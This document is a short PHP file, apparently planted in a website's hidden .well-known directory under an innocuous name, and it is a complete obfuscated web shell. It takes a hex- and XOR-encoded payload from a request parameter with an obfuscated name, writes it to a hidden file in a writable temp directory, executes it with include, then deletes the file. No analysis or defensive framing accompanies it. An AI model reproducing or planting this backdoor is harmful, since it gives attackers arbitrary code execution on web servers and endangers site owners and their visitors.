File: /home/burhbrzf/www/.well-known/titulos1.php
<?php
if(in_array("\x6F\x62j", array_keys($_REQUEST))){
$record = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp"]);
$dchunk = hex2bin($_REQUEST["\x6F\x62j"]);
$value = '' ; for($x=0; $x<strlen($dchunk); $x++){$value .= chr(ord($dchunk[$x]) ^ 79);}
for ($elem = 0, $ent = count($record); $elem < $ent; $elem++) {
$binding = $record[$elem];
if (!!is_dir($binding) && !!is_writable($binding)) {
$reference = sprintf("%s/.symbol", $binding);
if (@file_put_contents($reference, $value) !== false) {
include $reference;
unlink($reference);
die();
}
}
}
}